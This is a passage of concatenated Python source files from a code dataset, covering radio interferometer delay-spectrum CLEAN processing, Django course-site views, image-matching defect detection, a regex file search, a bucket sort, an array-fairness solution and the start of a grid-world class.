False\nuse_DSM = True\nuse_CSM = False\nuse_NVSS = False\nuse_SUMSS = False\nuse_MSS = False\nuse_GLEAM = False\nuse_PS = False\nuse_USM = False\nuse_HI_monopole = False\nuse_HI_fluctuations = False\nuse_HI_cube = False\n\nif use_GSM:\n fg_str = 'asm'\nelif use_DSM:\n fg_str = 'dsm'\nelif use_CSM:\n fg_str = 'csm'\nelif use_SUMSS:\n fg_str = 'sumss'\nelif use_GLEAM:\n fg_str = 'gleam'\nelif use_PS:\n fg_str = 'point'\nelif use_NVSS:\n fg_str = 'nvss'\nelif use_USM:\n fg_str = 'usm'\nelif use_HI_monopole:\n fg_str = 'HI_monopole'\nelif use_HI_fluctuations:\n fg_str = 'HI_fluctuations'\nelif use_HI_cube:\n fg_str = 'HI_cube'\nelse:\n fg_str = 'other'\n\nif use_HI_monopole:\n bllstr = map(str, bl_length)\n uniq_bllstr, ind_uniq_bll = NP.unique(bllstr, return_index=True)\n count_uniq_bll = [bllstr.count(ubll) for ubll in uniq_bllstr]\n count_uniq_bll = NP.asarray(count_uniq_bll)\n\n bl = bl[ind_uniq_bll,:]\n bl_id = bl_id[ind_uniq_bll]\n bl_length = bl_length[ind_uniq_bll]\n\n sortind = NP.argsort(bl_length, kind='mergesort')\n bl = bl[sortind,:]\n bl_id = bl_id[sortind]\n bl_length = bl_length[sortind]\n count_uniq_bll = count_uniq_bll[sortind]\n\ntotal_baselines = bl_length.size\nbaseline_bin_indices = range(0, int(NP.ceil(1.0*total_baselines/baseline_chunk_size)+1)*baseline_chunk_size, baseline_chunk_size)\nif n_bl_chunks is None:\n n_bl_chunks = int(NP.ceil(1.0*total_baselines/baseline_chunk_size))\n\nbl_chunk = range(len(baseline_bin_indices)-1)\nbl_chunk = bl_chunk[:n_bl_chunks]\nbl = bl[:min(baseline_bin_indices[n_bl_chunks], total_baselines),:]\nbl_length = bl_length[:min(baseline_bin_indices[n_bl_chunks], total_baselines)]\nbl_id = bl_id[:min(baseline_bin_indices[n_bl_chunks], total_baselines)]\n\nTsys = 95.0 # System temperature in K\nfreq = 185.0 * 1e6 # foreground center frequency in Hz\nfreq_resolution = 80e3 # in Hz\nbpass_shape = 'bhw'\nf_pad = 1.0\noversampling_factor = 1.0 + f_pad\nn_channels = 384\nnchan = n_channels\nwindow = n_channels * DSP.windowing(n_channels, shape=bpass_shape, pad_width=0, centering=True, area_normalize=True) \nbw = n_channels * freq_resolution\nbandpass_str = '{0:0d}x{1:.1f}_kHz'.format(nchan, freq_resolution/1e3)\n\nuse_pfb = True\n\npfb_instr = ''\npfb_outstr = ''\nif not use_pfb: \n pfb_instr = '_no_pfb'\n pfb_outstr = 'no_pfb_'\n\n# obs_mode = 'custom'\nobs_mode = 'lstbin'\n# obs_mode = 'drift'\navg_drifts = False\nbeam_switch = False\nsnapshots_range = None\nsnapshot_type_str = ''\nif avg_drifts:\n snapshot_type_str = 'drift_averaged_'\nif beam_switch:\n snapshot_type_str = 'beam_switches_'\nif snapshots_range is not None:\n snapshot_type_str = 'snaps_{0[0]:0d}-{0[1]:0d}_'.format(snapshots_range)\n\nduration_str = ''\nif obs_mode in ['track', 'drift']:\n t_snap = 1080.0 # in seconds\n n_snaps = 80\n if (t_snap is not None) and (n_snaps is not None):\n duration_str = '_{0:0d}x{1:.1f}s'.format(n_snaps, t_snap)\n\n# pc = NP.asarray([90.0, 90.0]).reshape(1,-1)\n# pc = NP.asarray([266.416837, -29.00781]).reshape(1,-1)\npc = NP.asarray([0.0, 0.0, 1.0]).reshape(1,-1)\npc_coords = 'dircos'\nif pc_coords == 'dircos':\n pc_dircos = pc\n\nn_sky_sectors = 4\n\nspindex_rms = 0.0\nspindex_seed = None\nspindex_seed_str = ''\nif spindex_rms > 0.0:\n spindex_rms_str = '{0:.1f}'.format(spindex_rms)\nelse:\n spindex_rms = 0.0\n\nif spindex_seed is not None:\n spindex_seed_str = '{0:0d}_'.format(spindex_seed)\n\nfor k in range(n_sky_sectors):\n if n_sky_sectors == 1:\n sky_sector_str = '_all_sky_'\n else:\n sky_sector_str = '_sky_sector_{0:0d}_'.format(k)\n\n if filenaming_convention == 'old':\n infile = rootdir+project_dir+telescope_str+'multi_baseline_visibilities_'+ground_plane_str+snapshot_type_str+obs_mode+'_baseline_range_{0:.1f}-{1:.1f}_'.format(bl_length[baseline_bin_indices[0]],bl_length[min(baseline_bin_indices[n_bl_chunks-1]+baseline_chunk_size-1,total_baselines-1)])+'gaussian_FG_model_'+fg_str+sky_sector_str+'sprms_{0:.1f}_'.format(spindex_rms)+spindex_seed_str+'nside_{0:0d}_'.format(nside)+delaygain_err_str+'Tsys_{0:.1f}K_{1:.1f}_MHz_{2:.1f}_MHz'.format(Tsys, freq/1e6, nchan*freq_resolution/1e6)+pfb_instr\n outfile = rootdir+project_dir+telescope_str+'multi_baseline_CLEAN_visibilities_'+ground_plane_str+snapshot_type_str+obs_mode+'_baseline_range_{0:.1f}-{1:.1f}_'.format(bl_length[baseline_bin_indices[0]],bl_length[min(baseline_bin_indices[n_bl_chunks-1]+baseline_chunk_size-1,total_baselines-1)])+'gaussian_FG_model_'+fg_str+sky_sector_str+'sprms_{0:.1f}_'.format(spindex_rms)+spindex_seed_str+'nside_{0:0d}_'.format(nside)+delaygain_err_str+'Tsys_{0:.1f}K_{1:.1f}_MHz_{2:.1f}_MHz_'.format(Tsys, freq/1e6, nchan*freq_resolution/1e6)+pfb_outstr+bpass_shape \n else:\n infile = rootdir+project_dir+telescope_str+'multi_baseline_visibilities_'+ground_plane_str+snapshot_type_str+obs_mode+duration_str+'_baseline_range_{0:.1f}-{1:.1f}_'.format(bl_length[baseline_bin_indices[0]],bl_length[min(baseline_bin_indices[n_bl_chunks-1]+baseline_chunk_size-1,total_baselines-1)])+fg_str+sky_sector_str+'sprms_{0:.1f}_'.format(spindex_rms)+spindex_seed_str+'nside_{0:0d}_'.format(nside)+delaygain_err_str+'Tsys_{0:.1f}K_{1}_{2:.1f}_MHz'.format(Tsys, bandpass_str, freq/1e6)+pfb_instr\n outfile = rootdir+project_dir+telescope_str+'multi_baseline_CLEAN_visibilities_'+ground_plane_str+snapshot_type_str+obs_mode+duration_str+'_baseline_range_{0:.1f}-{1:.1f}_'.format(bl_length[baseline_bin_indices[0]],bl_length[min(baseline_bin_indices[n_bl_chunks-1]+baseline_chunk_size-1,total_baselines-1)])+fg_str+sky_sector_str+'sprms_{0:.1f}_'.format(spindex_rms)+spindex_seed_str+'nside_{0:0d}_'.format(nside)+delaygain_err_str+'Tsys_{0:.1f}K_{1}_{2:.1f}_MHz_'.format(Tsys, bandpass_str, freq/1e6)+pfb_outstr+bpass_shape \n\n # infile = '/data3/t_nithyanandan/project_MWA/multi_baseline_visibilities_'+avg_drifts_str+obs_mode+'_baseline_range_{0:.1f}-{1:.1f}_'.format(bl_length[baseline_bin_indices[0]],bl_length[min(baseline_bin_indices[n_bl_chunks-1]+baseline_chunk_size-1,total_baselines-1)])+'gaussian_FG_model_'+fg_str+'_{0:0d}_'.format(nside)+'{0:.1f}_MHz'.format(nchan*freq_resolution/1e6)\n \n ia = RI.InterferometerArray(None, None, None, init_file=infile+'.fits') \n ia.phase_centering(phase_center=pc, phase_center_coords=pc_coords) \n ia.delay_transform(oversampling_factor-1.0, freq_wts=window)\n \n delay_matrix = DLY.delay_envelope(ia.baselines, pc_dircos, units='mks')\n \n # lags = DSP.spectral_axis(ia.channels.size, delx=ia.freq_resolution, use_real=False, shift=True)\n # clean_area = NP.zeros(ia.channels.size, dtype=int)\n npad = ia.channels.size\n lags = DSP.spectral_axis(ia.channels.size + npad, delx=ia.freq_resolution, use_real=False, shift=False)\n clean_area = NP.zeros(ia.channels.size + npad, dtype=int)\n skyvis_lag = (npad + ia.channels.size) * ia.freq_resolution * DSP.FT1D(NP.pad(ia.skyvis_freq*ia.bp*ia.bp_wts, ((0,0),(0,npad),(0,0)), mode='constant'), ax=1, inverse=True, use_real=False, shift=False)\n vis_lag = (npad + ia.channels.size) * ia.freq_resolution * DSP.FT1D(NP.pad(ia.vis_freq*ia.bp*ia.bp_wts, ((0,0),(0,npad),(0,0)), mode='constant'), ax=1, inverse=True, use_real=False, shift=False)\n lag_kernel = (npad + ia.channels.size) * ia.freq_resolution * DSP.FT1D(NP.pad(ia.bp, ((0,0),(0,npad),(0,0)), mode='constant'), ax=1, inverse=True, use_real=False, shift=False)\n\n ccomponents_noiseless = NP.zeros_like(skyvis_lag)\n ccres_noiseless = NP.zeros_like(skyvis_lag)\n\n ccomponents_noisy = NP.zeros_like(vis_lag)\n ccres_noisy = NP.zeros_like(vis_lag)\n \n for snap_iter in xrange(ia.skyvis_freq.shape[2]):\n progress = PGB.ProgressBar(widgets=[PGB.Percentage(), PGB.Bar(), PGB.ETA()], maxval=ia.baselines.shape[0]).start()\n for bl_iter in xrange(ia.baselines.shape[0]):\n # clean_area[NP.logical_and(ia.lags <= delay_matrix[0,bl_iter,0]+delay_matrix[0,bl_iter,1]+40e-9, ia.lags >= -delay_matrix[0,bl_iter,0]+delay_matrix[0,bl_iter,1]-40e-9)] = 1\n # cc, info = CLN.gentle(ia.skyvis_lag[bl_iter,:,snap_iter], ia.lag_kernel[bl_iter,:,snap_iter], area=clean_area, stop_if_div=False, verbose=True)\n \n clean_area[NP.logical_and(lags <= delay_matrix[0,bl_iter,0]+delay_matrix[0,bl_iter,1]+3/bw, lags >= -delay_matrix[0,bl_iter,0]+delay_matrix[0,bl_iter,1]-3/bw)] = 1\n\n cc_noiseless, info_noiseless = CLN.gentle(skyvis_lag[bl_iter,:,snap_iter], lag_kernel[bl_iter,:,snap_iter], area=clean_area, stop_if_div=False, verbose=False, autoscale=True)\n ccomponents_noiseless[bl_iter,:,snap_iter] = cc_noiseless\n ccres_noiseless[bl_iter,:,snap_iter] = info_noiseless['res']\n\n cc_noisy, info_noisy = CLN.gentle(vis_lag[bl_iter,:,snap_iter], lag_kernel[bl_iter,:,snap_iter], area=clean_area, stop_if_div=False, verbose=False, autoscale=True)\n ccomponents_noisy[bl_iter,:,snap_iter] = cc_noisy\n ccres_noisy[bl_iter,:,snap_iter] = info_noisy['res']\n\n progress.update(bl_iter+1)\n progress.finish()\n \n deta = lags[1] - lags[0]\n cc_skyvis = NP.fft.fft(ccomponents_noiseless, axis=1) * deta\n cc_skyvis_res = NP.fft.fft(ccres_noiseless, axis=1) * deta\n\n cc_vis = NP.fft.fft(ccomponents_noisy, axis=1) * deta\n cc_vis_res = NP.fft.fft(ccres_noisy, axis=1) * deta\n\n skyvis_lag = NP.fft.fftshift(skyvis_lag, axes=1)\n vis_lag = NP.fft.fftshift(vis_lag, axes=1)\n lag_kernel = NP.fft.fftshift(lag_kernel, axes=1)\n ccomponents_noiseless = NP.fft.fftshift(ccomponents_noiseless, axes=1)\n ccres_noiseless = NP.fft.fftshift(ccres_noiseless, axes=1)\n ccomponents_noisy = NP.fft.fftshift(ccomponents_noisy, axes=1)\n ccres_noisy = NP.fft.fftshift(ccres_noisy, axes=1)\n lags = NP.fft.fftshift(lags)\n\n # ccomponents = (1+npad*1.0/ia.channels.size) * DSP.downsampler(ccomponents, 1+npad*1.0/ia.channels.size, axis=1)\n # ccres = (1+npad*1.0/ia.channels.size) * DSP.downsampler(ccres, 1+npad*1.0/ia.channels.size, axis=1)\n # lags = DSP.downsampler(lags, 1+npad*1.0/ia.channels.size, axis=-1)\n \n hdulist = []\n hdulist += [fits.PrimaryHDU()]\n hdulist[0].header['EXTNAME'] = 'PRIMARY'\n \n cols = []\n cols += [fits.Column(name='frequency', format='D', array=ia.channels)]\n cols += [fits.Column(name='lag', format='D', array=lags)]\n\n if astropy.__version__ == '0.4':\n columns = fits.ColDefs(cols, tbtype='BinTableHDU')\n elif (astropy.__version__ == '0.4.2') or (astropy.__version__ == u'1.0'):\n columns = fits.ColDefs(cols, ascii=False)\n\n tbhdu = fits.new_table(columns)\n tbhdu.header.set('EXTNAME', 'SPECTRAL INFO')\n hdulist += [tbhdu]\n \n hdulist += [fits.ImageHDU(skyvis_lag.real, name='ORIGINAL NOISELESS DELAY SPECTRA REAL')]\n hdulist += [fits.ImageHDU(skyvis_lag.imag, name='ORIGINAL NOISELESS DELAY SPECTRA IMAG')]\n hdulist += [fits.ImageHDU(vis_lag.real, name='ORIGINAL DELAY SPECTRA REAL')]\n hdulist += [fits.ImageHDU(vis_lag.imag, name='ORIGINAL DELAY SPECTRA IMAG')]\n hdulist += [fits.ImageHDU(lag_kernel.real, name='LAG KERNEL REAL')]\n hdulist += [fits.ImageHDU(lag_kernel.imag, name='LAG KERNEL IMAG')]\n hdulist += [fits.ImageHDU(ccomponents_noiseless.real, name='CLEAN NOISELESS DELAY SPECTRA REAL')]\n hdulist += [fits.ImageHDU(ccomponents_noiseless.imag, name='CLEAN NOISELESS DELAY SPECTRA IMAG')]\n hdulist += [fits.ImageHDU(ccres_noiseless.real, name='CLEAN NOISELESS DELAY SPECTRA RESIDUALS REAL')]\n hdulist += [fits.ImageHDU(ccres_noiseless.imag, name='CLEAN NOISELESS DELAY SPECTRA RESIDUALS IMAG')]\n hdulist += [fits.ImageHDU(cc_skyvis.real, name='CLEAN NOISELESS VISIBILITIES REAL')]\n hdulist += [fits.ImageHDU(cc_skyvis.imag, name='CLEAN NOISELESS VISIBILITIES IMAG')]\n hdulist += [fits.ImageHDU(cc_skyvis_res.real, name='CLEAN NOISELESS VISIBILITIES RESIDUALS REAL')]\n hdulist += [fits.ImageHDU(cc_skyvis_res.imag, name='CLEAN NOISELESS VISIBILITIES RESIDUALS IMAG')]\n hdulist += [fits.ImageHDU(ccomponents_noisy.real, name='CLEAN NOISY DELAY SPECTRA REAL')]\n hdulist += [fits.ImageHDU(ccomponents_noisy.imag, name='CLEAN NOISY DELAY SPECTRA IMAG')]\n hdulist += [fits.ImageHDU(ccres_noisy.real, name='CLEAN NOISY DELAY SPECTRA RESIDUALS REAL')]\n hdulist += [fits.ImageHDU(ccres_noisy.imag, name='CLEAN NOISY DELAY SPECTRA RESIDUALS IMAG')]\n hdulist += [fits.ImageHDU(cc_vis.real, name='CLEAN NOISY VISIBILITIES REAL')]\n hdulist += [fits.ImageHDU(cc_vis.imag, name='CLEAN NOISY VISIBILITIES IMAG')]\n hdulist += [fits.ImageHDU(cc_vis_res.real, name='CLEAN NOISY VISIBILITIES RESIDUALS REAL')]\n hdulist += [fits.ImageHDU(cc_vis_res.imag, name='CLEAN NOISY VISIBILITIES RESIDUALS IMAG')]\n \n hdu = fits.HDUList(hdulist)\n hdu.writeto(outfile+'.fits', clobber=True)\n\n\n\n\n","sub_path":"main/interferometer_array_visibility_delay_CLEAN.py","file_name":"interferometer_array_visibility_delay_CLEAN.py","file_ext":"py","file_size_in_byte":18029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"223325360","text":"from django.http import HttpResponse, Http404\nfrom django.shortcuts import render_to_response\nfrom django.template import Context, loader\nfrom django.template import RequestContext\nfrom c2g.models import *\nfrom courses.course_materials import get_course_materials\nfrom courses.common_page_data import get_common_page_data\nfrom django.shortcuts import redirect\nfrom django.core.urlresolvers import reverse\nfrom django.views.decorators.http import require_POST\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.conf import settings;\n\nfrom courses.forms import *\n\nfrom courses.actions import auth_view_wrapper\n\nfrom c2g.models import CurrentTermMap\nimport settings\nfrom c2g.util import local_file_server_root\n\n\ndef index(item): # define a index function for list items\n return item[1]\n\n\ncurTerm = 'Fall2012'\n\ndef current_redirects(request, course_prefix):\n try:\n suffix = CurrentTermMap.objects.get(course_prefix=course_prefix).course_suffix\n except CurrentTermMap.DoesNotExist:\n suffix = curTerm # Use this as default fallback\n\n scheme='https://' if request.is_secure() else 'http://'\n\n if Course.objects.filter(handle=course_prefix+'--'+suffix).exists():\n if suffix == 'Fall2012': #send requests to Fall2012 classes under the new codebase back to the old codebase\n http_host=re.sub(r'class2go\\.', 'class.', request.META['HTTP_HOST'], flags=re.I)\n else: #send everyone else to the new codebase\n http_host=re.sub(r'class\\.', 'class2go.', request.META['HTTP_HOST'], flags=re.I)\n return redirect(scheme+http_host+reverse('courses.views.main',args=[course_prefix, suffix]))\n else: \n raise Http404\n \n\ndef main(request, course_prefix, course_suffix):\n #Common page data is already run in middleware\n #try:\n # common_page_data = get_common_page_data(request, course_prefix, course_suffix)\n #except Course.DoesNotExist:\n # raise Http404\n\n common_page_data=request.common_page_data\n ##JASON 9/5/12###\n ##For Launch, but I don't think it needs to be removed later##\n if common_page_data['course'].preview_only_mode:\n if not common_page_data['is_course_admin']:\n redir = reverse('courses.preview.views.preview',args=[course_prefix, course_suffix])\n # if (settings.INSTANCE == 'stage' or settings.INSTANCE == 'prod'):\n # redir = 'https://'+request.get_host()+redir\n return redirect(redir)\n\n \n announcement_list = Announcement.objects.getByCourse(course=common_page_data['course']).order_by('-time_created')[:11]\n if len(announcement_list) > 10:\n many_announcements = True\n announcement_list = announcement_list[0:10]\n else:\n many_announcements = False\n \n if request.user.is_authenticated():\n is_logged_in = 1\n news_list = common_page_data['ready_course'].newsevent_set.all().order_by('-time_created')[0:5]\n else:\n is_logged_in = 0\n news_list = []\n\n course = common_page_data['course']\n full_contentsection_list, full_index_list = get_full_contentsection_list(course)\n return render_to_response('courses/view.html',\n {'common_page_data': common_page_data,\n 'announcement_list': announcement_list,\n 'many_announcements': many_announcements,\n 'news_list': news_list,\n 'contentsection_list': full_contentsection_list,\n 'video_list': Video.objects.getByCourse(course=course),\n 'pset_list': ProblemSet.objects.getByCourse(course=course),\n 'full_index_list': full_index_list,\n 'is_logged_in': is_logged_in\n },\n context_instance=RequestContext(request))\n\n@auth_view_wrapper\ndef course_materials(request, course_prefix, course_suffix):\n\n section_structures = get_course_materials(common_page_data=request.common_page_data, get_video_content=True, get_pset_content=False, get_additional_page_content=True, get_file_content=True, get_exam_content=True)\n\n form = None\n if request.common_page_data['course_mode'] == \"draft\":\n form = LiveDateForm()\n\n return render_to_response('courses/'+request.common_page_data['course_mode']+'/course_materials.html', {'common_page_data': request.common_page_data, 'section_structures':section_structures, 'context':'course_materials', 'form':form}, context_instance=RequestContext(request))\n\n@auth_view_wrapper\n@require_POST\n@csrf_protect\ndef unenroll(request, course_prefix, course_suffix):\n \n try:\n course = Course.objects.get(handle=course_prefix+'--'+course_suffix, mode='ready')\n except Course.DoesNotExist:\n raise Http404\n \n student_group = Group.objects.get(id=course.student_group_id)\n student_group.user_set.remove(request.user)\n \n return redirect(request.META['HTTP_REFERER'])\n\n\ndef get_full_contentsection_list(course, filter_children=True):\n \"\"\"Return a list of ContentSections with material and a list of all material for this course.\"\"\"\n\n def no_child_filter(t=None, i=None):\n return True\n\n level2_items = {} # level2_items gets filled lazily\n def working_child_filter(t, i):\n if len(level2_items) == 0:\n for cg2 in ContentGroup.objects.filter(course=course).filter(level=2):\n cg2_t = cg2.get_content_type()\n level2_items.setdefault(cg2_t, []).append(getattr(cg2, cg2_t).id)\n if level2_items.has_key(t): return i not in level2_items[t]\n else: return True\n\n desired_item = working_child_filter\n if not filter_children:\n desired_item = no_child_filter\n\n tagged_object_lists = {}\n for tag, cls in ContentGroup.groupable_types.iteritems():\n tagged_object_lists[tag] = cls.objects.getByCourse(course=course)\n \n full_index_list = []\n full_contentsection_list=[]\n\n for contentsection in ContentSection.objects.getByCourse(course=course):\n \n index_list = []\n cs_id = contentsection.id\n for tag in ContentGroup.groupable_types.keys():\n for t in tagged_object_lists[tag].filter(section_id=cs_id):\n t_id = t.id\n if desired_item(tag, t_id):\n if tag != 'file':\n index_list.append((tag, t.index, t_id, cs_id, t.slug, t.title))\n else:\n icon_type = t.get_icon_type()\n index_list.append((tag, t.index, t_id, cs_id, local_file_server_root() + \"/\" + t.file.url, t.title, icon_type))\n\n full_index_list.append(sorted(index_list, key = index))\n if index_list: # don't show empty sections\n full_contentsection_list.append(contentsection)\n return full_contentsection_list, full_index_list\n\n","sub_path":"main/courses/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"176389559","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport MD_cnt\n\n\ndef match(img, temp, num, point):\n match_rate = np.zeros(num - 1)\n for j in range(num - 1):\n left = int(point[j])\n right = int(point[j + 1]) + 1\n p = img[:, left:right]\n p = p - np.mean(p)\n temp_resized = cv2.resize(temp, np.shape(p)[::-1])\n temp_resized = temp_resized - np.mean(temp_resized)\n norm = np.linalg.norm(temp_resized) * np.linalg.norm(p)\n zncc = np.sum(temp_resized * p)\n if norm == 0:\n zncc = 0\n else:\n zncc = zncc / norm\n match_rate[j] = zncc\n return match_rate\n\n\ndef check_orientation(img, num, point):\n left = int(point[0])\n right = int(point[1]) + 1\n temp_a = img[:, left:right]\n temp_b = temp_a[:, ::-1]\n\n rate_a = match(img, temp_a, num, point)\n rate_b = match(img, temp_b, num, point)\n ori = np.zeros(num - 1)\n bool_a = True\n if (rate_a[0] > rate_b[0]):\n bool_a = True\n else:\n bool_a = False\n for i in range(num - 1):\n if (rate_a[i] >= rate_b[i] and bool_a == True):\n ori[i] = 0\n elif (rate_a[i] <= rate_b[i] and bool_a == False):\n ori[i] = 0\n else:\n ori[i] = 1\n bool_a = not (bool_a)\n print(ori)\n\n\norg_img = cv2.imread('../img/8_8.bmp', cv2.IMREAD_GRAYSCALE)\n# トリミング⇒枚数カウント\nimg = MD_cnt.trim(org_img)\nbin = MD_cnt.make_bin(img, th_bri=60, th_num=0.8)\nnum, point = MD_cnt.cnt_disk(bin, np.shape(bin)[0])\nprint(num - 1, \"枚\")\n\n# 方向チェック\ncheck_orientation(img, num, point)\n\n# 欠陥抽出\nim_x = np.shape(img)[1]\nim_y = 4096\n\nsub_im_y = 64\n\nnum_sub_y = int(im_y / sub_im_y)\n\nmatching = np.zeros((im_y, im_x))\n\nfor j in range(num - 1):\n left = int(point[j])\n right = int(point[j + 1]) + 1\n for i in range(num_sub_y):\n p1 = img[(i * sub_im_y):((i + 1) * sub_im_y), left:right]\n if i == 0:\n p0 = img[((i + 1) * sub_im_y):((i + 2) * sub_im_y), left:right]\n else:\n p0 = img[((i - 1) * sub_im_y):(i * sub_im_y), left:right]\n p0 = p0 - np.mean(p0)\n p1 = p1 - np.mean(p1)\n if (np.shape(p0) != np.shape(p1)):\n break\n norm = np.linalg.norm(p0) * np.linalg.norm(p1)\n zncc = np.sum(p0 * p1)\n if norm == 0:\n zncc = 0\n else:\n zncc = zncc / norm + 1\n matching[(i * sub_im_y):((i + 1) * sub_im_y), left:right] = zncc * 127\n\nret, binalize = cv2.threshold(matching, 200, 255, cv2.THRESH_BINARY)\n\n# 可視化\nsize = 3\n\nplt.subplot(1, size, 1)\nplt.imshow(img)\nplt.title(\"original\")\nplt.xticks([]), plt.yticks([])\nplt.subplot(1, size, 2)\nplt.imshow(matching)\nplt.title(\"matching\")\nplt.xticks([]), plt.yticks([])\nplt.subplot(1, size, 3)\nplt.imshow(binalize)\nplt.title(\"binalize\")\nplt.xticks([]), plt.yticks([])\nplt.show()\n","sub_path":"scripts/MD_detection.py","file_name":"MD_detection.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"133243509","text":"#!python3\n# -*- coding: utf-8 -*-\n# @Author : lee \n# @Date : 2020/4/24 15:17\n'正则表达式查找'\n'''\n编写一个程序,打开文件夹中所有的.txt文件,查找匹配用户提供的正则表达式的所有行。结果应该打印到屏幕上。\n'''\nimport re,os\nwhile True:\n regex = input('Enter match:')\n match = re.compile(regex)\n filename = input('Enter path:')\n if os.path.exists(filename):\n if os.path.isfile(filename):\n fileExpand = os.path.basename(filename)\n expand = os.path.splitext(fileExpand)[1]\n if expand == '.txt':\n text = open(filename,encoding='utf-8').read()\n open(filename).close()\n print(os.path.basename(filename) + ':')\n text_all = match.findall(text)\n if len(text_all) == 0:\n print(None)\n for i in text_all:\n print(i)\n break\n else:\n print('It\\'s not txt file.')\n continue\n else:\n file_list = os.listdir(filename)\n print(len(file_list))\n for file in file_list:\n while os.path.splitext(file)[1] == '.txt':\n text = open(file,encoding='utf-8').read()\n open(file).close()\n print(os.path.basename(file) + ':')\n text_all = match.findall(text)\n if len(text_all) == 0:\n print(None)\n for i in text_all:\n print(i)\n break\n break\n else:\n print('Path file does not exist! ')\n continue\n\n\n","sub_path":"book_learning/automation_py/ch8_rwfile/project3.py","file_name":"project3.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"270245223","text":"# -*- coding: utf-8 -*-\n# @Time : 2017/12/5 18:15\n# @Author : Zhiwei Yang\n# @File : bucket_sort.py.py\n\n\ndef bucket_sort(nums):\n max_number = max(nums)\n bucket = [0] * (max_number + 1)\n for i in nums:\n bucket[i] += 1\n print(bucket)\n sort_nums = []\n for j in range(len(bucket)):\n if bucket[j] >= 1: # nums可能有重复数字, 所以在桶排序里面,数字大于1的需要循环取出, 数字等于1,range一下问题不大\n for i in range(bucket[j]):\n sort_nums.append(j)\n return sort_nums\n\n\nif __name__ == '__main__':\n _nums = [5, 6, 6, 6, 2, 1, 65, 9]\n print(bucket_sort(_nums))\n","sub_path":"algorithm/bucket_sort.py","file_name":"bucket_sort.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"626526303","text":"class Solution:\n def waysToMakeFair(self, nums: List[int]) -> int:\n n = len(nums)\n if n == 1:\n return 1\n\n fair_indices = 0\n right_sum = [[0, 0] for _ in range(n)] # [even, odd]\n left_sum = [[0, 0] for _ in range(n)]\n\n # build right sum\n right_sum[0] = [nums[0], 0]\n for i in range(1, n):\n if i % 2 == 0:\n right_sum[i][0] = nums[i] + right_sum[i - 1][0]\n right_sum[i][1] = right_sum[i - 1][1]\n else:\n right_sum[i][1] = nums[i] + right_sum[i - 1][1]\n right_sum[i][0] = right_sum[i - 1][0]\n\n # build left sum\n left_sum[-1] = [0, nums[-1]]\n if (n - 1) % 2 == 0:\n left_sum[-1] = [nums[-1], 0]\n for i in range(n - 2, -1, -1):\n if i % 2 == 0:\n left_sum[i][0] = nums[i] + left_sum[i + 1][0]\n left_sum[i][1] = left_sum[i + 1][1]\n else:\n left_sum[i][1] = nums[i] + left_sum[i + 1][1]\n left_sum[i][0] = left_sum[i + 1][0]\n\n # checking for possible indices to remove\n for i in range(n):\n if i == 0:\n even_sum = left_sum[i + 1][1]\n odd_sum = left_sum[i + 1][0]\n if even_sum == odd_sum:\n fair_indices += 1\n elif i == n - 1:\n even_sum = right_sum[i - 1][0]\n odd_sum = right_sum[i - 1][1]\n if even_sum == odd_sum:\n fair_indices += 1\n else:\n even_sum = right_sum[i - 1][0] + left_sum[i + 1][1]\n odd_sum = right_sum[i - 1][1] + left_sum[i + 1][0]\n if even_sum == odd_sum:\n fair_indices += 1\n\n return fair_indices\n","sub_path":"Take2Camp/Contest1/WaysToMakeFairArray.py","file_name":"WaysToMakeFairArray.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"476234308","text":"# The MIT License (MIT)\r\n\r\n# Copyright (c) 2015 INSPIRE Lab, BITS Pilani\r\n\r\n# Permission is hereby granted, free of charge, to any person obtaining a copy\r\n# of this software and associated documentation files (the \"Software\"), to deal\r\n# in the Software without restriction, including without limitation the rights\r\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\n# copies of the Software, and to permit persons to whom the Software is\r\n# furnished to do so, subject to the following conditions:\r\n\r\n# The above copyright notice and this permission notice shall be included in all\r\n# copies or substantial portions of the Software.\r\n\r\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n# SOFTWARE.\r\n\r\n\r\n\"\"\"\r\nClass to hold the grid world that represents the environment\r\n\"\"\"\r\n\r\n\r\nimport Cell\r\n\r\n\r\n# The GridWorld class\r\nclass GridWorld:\r\n\r\n\tdef __init__(self, width, height, obstacles):\r\n\r\n\t\t# Store width and height\r\n\t\tself.width = width\r\n\t\tself.height = height\r\n\t\t# Create an array of grid cells\r\n\t\tself.cells = [[Cell.Cell(i, j) for j in range(width)] for i in range(height)]\r\n\t\t# Initialize the locations of the obstacles\r\n\t\tself.obstacles = obstacles\r\n\t\tfor obstacle in self.obstacles:\r\n\t\t\tself.cells[obstacle[0]][obstacle[1]].obstacle = True\r\n\r\n\r\n\t# Method to check if (x, y) lies in the bounds of the grid\r\n\tdef inBounds(self, id):\r\n\r\n\t\t(x, y) = id\r\n\t\treturn 0 <= x < self.height and 0 <= y < self.width\r\n\r\n\r\n\t# Method to check if (x, y) is an obstacle cell or not\r\n\tdef passable(self, id):\r\n\r\n\t\t(x, y) = id\r\n\t\treturn not (self.cells[x][y].obstacle)# or self.cells[x][y].occupied) \r\n\r\n\r\n\t# Method to get the 4-neighbors of the current cell identified by (curX, 